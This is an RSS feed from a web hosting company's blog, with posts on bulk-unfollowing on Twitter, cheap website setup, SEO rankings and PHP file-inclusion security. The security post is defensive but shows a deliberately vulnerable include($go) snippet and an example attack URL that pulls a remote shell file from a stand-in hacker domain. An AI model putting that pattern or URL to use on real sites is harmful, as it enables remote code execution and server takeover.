<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HostNexus Blog &#187; Web Development</title>
	<atom:link href="http://www.hostnexus.com/blog/category/web-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hostnexus.com/blog</link>
	<description>Status Updates, Rants, Musings and Real Advice for Webmasters</description>
	<lastBuildDate>Thu, 02 Feb 2012 04:42:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How To Bulk Unfollow On Twitter in Minutes</title>
		<link>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/</link>
		<comments>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 11:52:03 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=492</guid>
		<description><![CDATA[I haven&#8217;t &#8220;tweeted&#8221; for a long time. I joined Twitter on the general bandwagon last year, downloaded and installed Twitter Karma but that got real old after about 100 clicks. I then start hitting checkboxes on Tweepi and Untweeps but another 150 clicks later my right index finger started to cramp up in a death [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/">How To Bulk Unfollow On Twitter in Minutes</a></p>
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hostnexus.com/blog/wp-content/uploads/2010/07/no-tweeps.jpg" alt="" title="no-tweeps" width="196" height="196" class="alignright size-full wp-image-498" />
<p>I haven&#8217;t &#8220;tweeted&#8221; for a long time.  I joined Twitter on the general bandwagon last year, downloaded and installed <a href=http://www.tweetdeck.com/">TweetDeck</a> &#8211; and pretty much forgot about it.  I did turn on Auto-Follow via <a href="https://www.socialoomph.com/">SocialOomph</a> though.  So a year later I have 3,000 followers and maybe 50 are HostNexus clients and people I know.  So 2,950 people have followed me for the sole reason of spamming me with links to their sites.  They don&#8217;t care what I say because, well, I say very little.  If I&#8217;m ever going to really use Twitter I need to follow only those I have a general interest in following and that is people I choose to follow and any past, present or prospective clients of HostNexus. </p>
<p>So today I went on a mission to purge my Twitter account.</p>
<p>As most people in Twitterdom know, there are thousands of apps that help you manage your Twitter account, so I thought that mass unfollowing on Twitter was going to be pretty simple.  I tried several tools but all either had no Bulk Unfollow option or no Select All option.  I started hitting Unfollow on people on <a href=http://dossy.org/twitter/karma/">Twitter Karma</a> but that got real old after about 100 clicks.  I then start hitting checkboxes on <a href="http://tweepi.com/">Tweepi</a> and <a href="http://www.untweeps.com/">Untweeps</a> but another 150 clicks later my right index finger started to cramp up in a death grip from hell.  But both Tweepi and Untweeps do not list all your followers so it was kind of pointless anyhow.  I then found <a href="http://manageflitter.com">ManageFlitter</a> which listed all your followers in pages of 100 with checkboxes, but of course no Select All option.</p>
<p>I did some digging and found out that Twitter had put their foot down on Mass Unfollowing in April of this year (2010).  All applications either had to remove Bulk Unfollow options or the Select All option to continue to operate within Twitter&#8217;s update TOS.  Pretty ridiculous.  I can understand enforcing a Bulk Unfollow option but telling developers to remove a &#8220;Select All&#8221; option?  Very weird.  But it got me thinking.  The Select All thing is just a JavaScript call and happens in your browser so surely there should be a nifty little FireFox plugin that allows me to Select All?<br />
<span id="more-492"></span>
</p>
<p>Yes!  There is. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>A plugin is available for FireFox 3.0 called <a href="https://addons.mozilla.org/en-US/firefox/addon/2708/">Check All</a> but it doesn&#8217;t work in FireFox 3.6 that I&#8217;m currently using.  After another plugin search I found an experimental plugin which is an updated version of Check All and you can find it <a href="https://addons.mozilla.org/en-US/firefox/addon/46872/">here</a>.  There is another one <a href="https://addons.mozilla.org/en-US/firefox/addon/2393/">here</a> (thanks backy).  Mozilla will give you all types of warnings about the first plugin, saying it hasn&#8217;t been verified and that your computer might grow legs and jump out the window if you install it.  It works just fine.  Install it.  Restart FireFox, rawr.</p>
</p>
<p>Next go to <a href="http://manageflitter.com">ManageFlitter</a> and login via Twitter Oauth.  Click &#8220;Show All&#8221; and you&#8217;ll be presented with a list of your followers in pages of 100 with a checkbox next to each and an Unfollow button on the left.  Hit Ctrl+A (Select All, yes baby), right click on a highlighted area and you&#8217;ll see the new plugin option &#8220;Check All Selected Checkboxes&#8221;, click Unfollow.</p>
<p>Unfollowing 100 people on Twitter in one go is a beautiful thing to behold. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Click Next, Ctrl+A, Right Click, Select All Checkboxes, Unfollow.  Boom, another 100 Tweeps bite the dust.  Rinse and repeat.  I got it down to 5 seconds per page, that&#8217;s a 1,000 in under a minute.  Bye Tweeps.</p>
<p><center><img src="http://www.hostnexus.com/blog/wp-content/uploads/2010/07/bye-tweeps.png" alt="" title="bye-tweeps" width="183" height="158" class="aligncenter size-full wp-image-493" /></center></p>
<p>P.S. If you&#8217;re one of the 12 invisible people I&#8217;m still following&#8230;.my hat goes off to you for evading the purge.</p>
<p>P.P.S. Damn, those Unfollow programs are quick.  600 people auto-unfollowed me already!.  I&#8217;m crushed. :p </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/">How To Bulk Unfollow On Twitter in Minutes</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		</item>
		<item>
		<title>PHP Security and YOU &#8211; Including files the right way</title>
		<link>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/</link>
		<comments>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 08:52:50 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=483</guid>
		<description><![CDATA[As a web host we fight the battle against hackers and bad code on a daily basis. So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner. Including files with PHP is a common practice and most usage comes in 2 forms. These are [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/">PHP Security and YOU &#8211; Including files the right way</a></p>
]]></description>
			<content:encoded><![CDATA[<p>As a web host we fight the battle against hackers and bad code on a daily basis.  So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner.</p>
<p>Including files with PHP is a common practice and most usage comes in 2 forms.  These are including internal files from your own domain and including files from remote (external) sources.   This looks something like:</p>
<p>Internal:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.myowndomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>External:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.externaldomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Both are valid syntax in the PHP world but there are two main problems we see on the servers.  Sometimes when you include a file using the the URL of your local domain you can cause a PHP loop that initiates endless HTTP requests which causes server load issues and even a server crash due to the load.  If you want to include files from your local domain you just need to use the server path instead:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/home/httpd/vhosts/myowndomain.com/httpdocs/something.txt'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>And now onto using include() for calling external files:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.externaldomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The main problem with include() is that runs everything through the PHP parser and evaluates code.  The main problem comes from setting a variable for include() which can be easily exploited.  Here is an example of code in an index.php:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;html&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;  &lt;body&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$go</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;  &lt;/body&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The $go variable above is easily exploited like:</p>
<p>http://myowndomain.com/index.php?go=http://www.hackerdomain.com/shell.txt</p>
<p>The hacker can now execute commands on your files, installing phishing sites, sending spam and stealing data.</p>
<p>If you want to include files from remote domains use PHP&#8217;s readfile() function instead:</p>
<p><a href="http://www.php.net/manual/en/function.readfile.php">http://www.php.net/manual/en/function.readfile.php</a></p>
<p>While not 100% secure it still provides more protection as readfile() simply outputs data to a browser rather than parsing everything as PHP.</p>
<p>We&#8217;d love to enforce the two practices above but we also understand not everyone is happy modifying code.  However, if you know you use includes and have even a simple understanding of these fuctions then please do revisit your code and help yourself to secure your data and server.</p>
<p>Laurence </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/">PHP Security and YOU &#8211; Including files the right way</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</title>
		<link>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/</link>
		<comments>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 07:42:10 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=464</guid>
		<description><![CDATA[The main hurdles most people face when thinking about getting a decent website up is that it is too expensive and/or requires certain nerdy technical skills such as graphic design or some kind of coding skills. And quotes from web design firms of $500 to $50,000 definitely serve to discourage many from developing an online [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/">How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</a></p>
]]></description>
			<content:encoded><![CDATA[<p>The main hurdles most people face when thinking about getting a decent website up is that it is too expensive and/or requires certain nerdy technical skills such as graphic design or some kind of coding skills.  And quotes from web design firms of $500 to $50,000 definitely serve to discourage many from developing an online corporate presence or even putting up a personal website.</p>
<p>Ten or even five years ago putting up a website was expensive and took time.  But times have changed and time, money and skills (or lack thereof) are no longer obstacles would-be webmasters have to deal with.  If you&#8217;ve ever thought about getting a nice website online but have always dreaded the task, here are my 7 Steps To Get Online.</p>
<p><span id="more-464"></span></p>
<h2>1) Register Your Domain Name</h2>
<p>This is always the starting point for any new website project.  Your website will need a name so register domain.  This will be less than $15 for teh year.  HostNexus, for example, sells .com domains for $12.95/yr from our registry site <a href="http://nexusdomains.net">NexusDomains</a>.  Unless you are looking for a specific country TLD such as .com.au or .co.uk then I always recommend you try and get the .com AND the .net.  Usually if a .com is registered and in use I would not register the .net to ensure against brand dilution but there are always exceptions (such as our NexusDomains on a .net).</p>
<h2>2) Get Some Simple Web Hosting</h2>
<p>We&#8217;ll be using WordPress and this works best on Linux Hosting.  So before you start find a <a href="http://www.hostnexus.com">Cheap Hosting</a> plan such as our entry level <a href="http://www.hostnexus.com/solutions/linux-hosting.php">nexusONE</a> plan.  This will be your first expense and will cost you less than $50 for the year.  You could even cut down costs more and get hosting on a monthly plan but the yearly costs will usually end up being more (such as $7.95/mo).</p>
<h2>2) Install WordPress</h2>
<p>WordPress is the de-facto blogging software these days but it is much more than a blog.  WordPress has evolved into a full-blown Content Management System (CMS) and the possibilities with it are endless.  Installing it is incredibly simply and mosts (including HostNexus) provide an auto-installer for many popular programs including WordPress.  If you have issues with the install your hosting company will certainly assist you (if not, well you should be with HN of course).</p>
<h2>3) Find And Install A WordPress Theme</h2>
</p>
<p>This is where the fun starts.  A WordPress theme these days is much more than a simple skin for WordPress.  The theme will control a lot of your site&#8217;s functionality as WordPress developers include many custom scripts and programs with their themes.  The best place on the internet for WordPress themes is undoubtedly <a href="http://www.themeforest.com">ThemeForest</a>.  There are literally hundreds of amazing themes there and more are added almost daily.  ThemeForest is a place where developers showcase their work so there are many developers and most provide good support in Q&#038;A threads on their showcase pages.  I have personally bought 3 themes there for personal project and recommend it highly.  Themes vary in price with $35 being the most expensive so not very expensive at all.</p>
<p>Theme install comprises of uploading the theme folder and activating it in the WordPress admin panel.  Easy stuff that we love. </p>
<p>So to recap we have $12.95 for a domain name, less than $47.40 for hosting and $35 max for a theme.  We are at under $100 and a few hours into our project.</p>
<h2>4) Find A Logo Designer</h2>
<p>Having a great logo is essential for all corporate sites and recommended even for personal sites.  You could spend literally hundreds of dollars on a logo for your site but that is just not necessary.  When I start up a new site I normally hire 3 different logo designers so I many concepts to choose from.  Last year I hired 4 logo designers for a project ranging from $20 to $200 per designer.  And believe it or not I ended up choosing a logo developed for $29.  Here are a few designers I&#8217;ve worked with and all cost less than $30:</p>
<ul>
<li><a href="http://www.19dollarlogos.com">19dollarlogos.com</a></li>
<li><a href="http://www.iigfx.net">iigfx.net</a></li>
<li><a href="http://www.20dollarlogo.com">20dollarlogo.com</a></li>
<li><a href="http://www.logonerds.com">logonerds.com</a></li>
</ul>
<p>Find a designer that will include at least 2 different concepts.  For best results hire 2 different designers so you get at least 4 fresh concepts.</p>
<h2>5) Find A WordPress Designer</h2>
<p>So you have your domain, hosting, installed WordPress, purchased a great theme and you have a nice logo.   However, it is unlikely that your theme will be exactly the way you want it.  You may want to change a colour here, put an image there, add a button over there, customise the styling on this or that page.  As you play around with your WordPress install and upload content you&#8217;ll start to formulate a list of things that you want to change.  And it&#8217;s always a good idea to change your theme a bit so that your design is unique as it&#8217;s likely that 50 or 100 other sites might be using the same theme.  So the final step is to find a designer that will do all of your modifications.  I usually find designers on <a href-"http://www.forum.digitalpoint.com</a>.  Post a thread in the Buy/Sell > Services > Design forum and wait for offers.  Generally you can get small WordPress theme modifications done for around $50.  Select your provider carefully!  Choose a designer with an established website with portfolio and lots of positive feedback as there are a few unsavoury and unreliable people haunting the forum.  Arrange to pay half in advance and half on completion of the job.  Payment is always by PayPal.</a></p>
<h2>6) Publish Your Content</h2>
<p>You can start plugging in your content as soon as you&#8217;ve installed WordPress and can continue while designers work on your logo and WordPress modifications.  Publish your pages and articles and you&#8217;re done!</p>
<p>And there you have it.  A professional, great looking website complete with logo online in less than a week and less than a $199.  So what&#8217;s stopping you?  Get out there and start building your online presence.  Who knows where it will lead you. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/">How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SEO Case Study: HostNexus</title>
		<link>http://www.hostnexus.com/blog/seo-case-study-hostnexus/</link>
		<comments>http://www.hostnexus.com/blog/seo-case-study-hostnexus/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 10:16:47 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=193</guid>
		<description><![CDATA[This is part 4 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus. For a table of contents on this series please see this first post There is too much &#8220;do what I say and not what I do&#8221; on the [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/seo-case-study-hostnexus/">SEO Case Study: HostNexus</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="author-meta">This is part 4 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus.  For a table of contents on this series please see <a href="http://www.hostnexus.com/blog/seo-strategy-series-1-introduction/">this first post</a></div>
<p>There is too much &#8220;do what I say and not what I do&#8221; on the internet so to prove I am practising what I preach here is a little case study.  I&#8217;m detailing keyword terms I&#8217;m targetting, where we stood at the beginning and will update regularly (maybe once a month) to see how we are getting on.  </p>
<p>Few things to point out though:<span id="more-193"></span></p>
<p>1) I&#8217;m a busy business owner and my day is filled with the normal tasks that need doing in order to run the company.  So I&#8217;m just like anyone that does DIY SEO &#8211; time is an issue.  I try and do something SEO related everyday though, whether it be link building or content generation &#8211; but I certainly don&#8217;t do something every single day.  HostNexus does well on general organic traffic and good rankings in the engines is just a bonus in my mind. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>2) I&#8217;m in no rush.  As I said above, HN does well without traffic from Google et al.</p>
<p>3) When we relaunched on March 9th any on-site optimisation was completely scrapped.  For instance we used to target &#8220;Reseller Hosting&#8221; on the home page but now I&#8217;m targetting that on the /solutions/reseller-hosting.php page.  On a search for that term Google is still returning a home page result even though the term doesn&#8217;t appear on that page in an optimised way.  So it&#8217;s going to take some time for those types of changes to take effect.</p>
<p>4) I am checking the results with the <a href="http://tools.seobook.com/firefox/rank-checker/">SEO Book Rank Checker</a> that is built into the <a href="http://tools.seobook.com/firefox/seo-for-firefox.html">SEO for FireFox</a> toolbar.</p>
<table style="margin-left:auto; margin-right:auto;" border="0" width="500">
<tbody>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td><strong>Keyword Term</strong></td>
<td><strong>Old</strong></td>
<td><strong>New</strong></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td>Web Hosting Provider</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Cheap Web Hosting</td>
<td>0</td>
<td>58</td>
</tr>
<tr>
<td>Cheap Hosting</td>
<td>0</td>
<td>44</td>
</tr>
<tr>
<td>Web Hosting Service</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Web Hosting Services</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Low Cost Web Hosting Services</td>
<td>0</td>
<td>116</td>
</tr>
<tr>
<td>Shared Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Shared Web Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Linux Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Linux Web Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Linux Web Site Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Unix Hosting  (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Windows Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>ASP Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>ASP Web Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>ASP 3.5 Hosting</td>
<td>0</td>
<td>69</td>
</tr>
<tr>
<td>Blog Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>WordPress Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Blog Web Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Reseller Hosting</td>
<td>51</td>
<td>62</td>
</tr>
<tr>
<td>Cheap Reseller Hosting</td>
<td>12</td>
<td>15</td>
</tr>
<tr>
<td>Reseller Web Hosting</td>
<td>35</td>
<td>145</td>
</tr>
<tr>
<td>Linux Reseller Hosting</td>
<td>0</td>
<td>86</td>
</tr>
<tr>
<td>Hosting Reseller</td>
<td>50</td>
<td>101</td>
</tr>
<tr>
<td>Hosting Reseller Plans</td>
<td>6</td>
<td>0</td>
</tr>
<tr>
<td>Plesk Reseller Hosting</td>
<td>0</td>
<td>35</td>
</tr>
<tr>
<td>Windows Reseller Hosting (51)</td>
<td>51</td>
<td>20</td>
</tr>
<tr>
<td>Windows Reseller Plan</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Windows Reseller Plans</td>
<td>0</td>
<td>20</td>
</tr>
<tr>
<td>Windows Hosting Reseller</td>
<td>29</td>
<td>18</td>
</tr>
<tr>
<td>ColdFusion Hosting</td>
<td>14</td>
<td>71</td>
</tr>
<tr>
<td>ColdFusion Web Hosting</td>
<td>0</td>
<td>22</td>
</tr>
<tr>
<td>Coldfusion 8 Hosting</td>
<td>0</td>
<td>82</td>
</tr>
<tr>
<td>Ruby On Rails Hosting</td>
<td>0</td>
<td>44</td>
</tr>
<tr>
<td>Ruby On Rails Web Hosting</td>
<td>0</td>
<td>40</td>
</tr>
<tr>
<td>Rails Hosting</td>
<td>0</td>
<td>48</td>
</tr>
<tr>
<td>ROR Hosting</td>
<td>0</td>
<td>56</td>
</tr>
<tr>
<td>VPS Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>VPS Web Hosting</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>VPS Plans</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Managed VPS /td>
			</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Virtuozzo Hosting</td>
<td>0</td>
<td>49</td>
</tr>
<tr>
<td>Virtuozzo Web Hosting</td>
<td>0</td>
<td>62</td>
</tr>
<tr>
<td>Dedicated Managed Server (0)</td>
<td>0</td>
<td>121</td>
</tr>
<tr>
<td>Dedicated Managed Servers (0)</td>
<td>0</td>
<td>126</td>
</tr>
<tr>
<td>Cheap Dedicated Servers (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Dedicated Server Management (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Domain Services (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Domain Reseller (12)</td>
<td>12</td>
<td>14</td>
</tr>
<tr>
<td>Enom Reseller (4)</td>
<td>4</td>
<td>14</td>
</tr>
<tr>
<td>Domain Name Reseller</td>
<td>0</td>
<td>44</td>
</tr>
<tr>
<td>Cheap SSL Certificates (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>RapidSSL Certificates (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Cheap Security Certificates (0)</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Cheap Geotrust Certificates (0)</td>
<td>0</td>
<td>12</td>
</tr>
</tbody>
</table>
<p>So I&#8217;m starting to see movement, some good, some not so good but all I&#8217;ve done is rearrange pages and a little bit of link building (which I doubt is having an affect yet). </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/seo-case-study-hostnexus/">SEO Case Study: HostNexus</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/seo-case-study-hostnexus/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Keyword Research &#8211; So Now What?</title>
		<link>http://www.hostnexus.com/blog/keyword-research-so-now-what/</link>
		<comments>http://www.hostnexus.com/blog/keyword-research-so-now-what/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 12:12:03 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=166</guid>
		<description><![CDATA[This is part 3 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus. For a table of contents on this series please see this first post So you now have your Keyword list. Before you start on the next steps in [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/keyword-research-so-now-what/">Keyword Research &#8211; So Now What?</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="author-meta">This is part 3 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus.  For a table of contents on this series please see <a href="http://www.hostnexus.com/blog/seo-strategy-series-1-introduction/">this first post</a></div>
<p>So you now have your Keyword list.  Before you start on the next steps in your SEO Strategy you need to work out if the keywords are attainable.  There is no point optimizing your site your site for a keyword in an extremely competitive niche where all the top rankers are large, authoritive sites with a huge amount of backlinks.  Later on in the series I’ll be giving you tips on how to get decent links from over 500 sites so also take that into account if you are going to follow this course through till the end.  And if all goes to plan those 500 or so links will produce a lot more links.<br />
<span id="more-166"></span></p>
<p>Before you start you are going to need these two tools:</p>
<p><a href="http://tools.seobook.com/seo-toolbar/">SEO Toolbar</a><br />
<a href="http://tools.seobook.com/firefox/seo-for-firefox.html"> SEO For Firefox</a></p>
<p>You need FireFox so if you don&#8217;t use that (you heathens) then please download and install.  These tools are really awesome and they come from one of the top names in Search Engine Optimization – <a href="http://www.seobook.com">SEObook.com</a>.  Once you&#8217;ve downloaded and installed the two tools power up FireFox and google.com in 2 tabs.  Turn on the SEO For FireFox extension and in one browser window do a search for one or your keywords and in the other browser do a search for your site.</p>
<p>Just before we launched our new site on March 9th I hadn&#8217;t touched SEO elements on the old site in many years.  I will use <a href="http://www.hostnexus.com/solutions/reseller-hosting.php">Reseller Hosting</a> as an example again as I did with the Wordtracker.  As you can see by using the Rank Checker tool on the SEO Toolbar we rank at #51 just before the site launch:</p>
<p><img src="http://www.hostnexus.com/blog/wp-content/uploads/2009/03/rank-checker.gif" alt="rank-checker" title="rank-checker" width="482" height="503" class="aligncenter size-full wp-image-167" /></p>
<p>Three weeks later and we are hovering around 42 and Google is still returning a home page result for that term and the home page isn&#8217;t optimized at all for it.  So when Google settles down for us I believe we&#8217;ll see a big jump.  But I&#8217;m already seeing results in my SEO re-organization. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Okay, so in one browser tab I have the Google search results for hostnexus.com and in the other I have the SERP for Reseller Hosting.  Looking at the result for HN these are the important metrics for now:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">PR 4
Age: 2002
Y! Links: 4,830
Majestic SEO LinkDomain: 3,480</pre></div></div>

<p>The Age metric is a bit buggy as it shows for some and not others.  The figure comes from web.archive.org and connections to that service are sometimes rough.  I&#8217;ve actually seen an improvement in recent weeks and I hear archive.org is getting its own data center built (awesome).  But if you can get the age of a site it is another thing to consider as Google uses it in its ranking algorithm.  </p>
<p>PR (Page Rank) I guess we all know.  Y! Links are how many pages (not domains) indexed in Yahoo&#8217;s search engine that link to the domain.  This number is to be used as a guide as it NOT accurate.  Majestic SEO is another tool that the SEO For FireFox program uses.  Again, use as a guide</p>
<p>In my opinion a Page 1 ranking is not enough.  For real value you need to be the top #5 results so my first step is to compare the stats for HN with the top 5 listings.  Here are the top 5 as of now:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">www.hostgator.com/resellers.shtml
PR 7
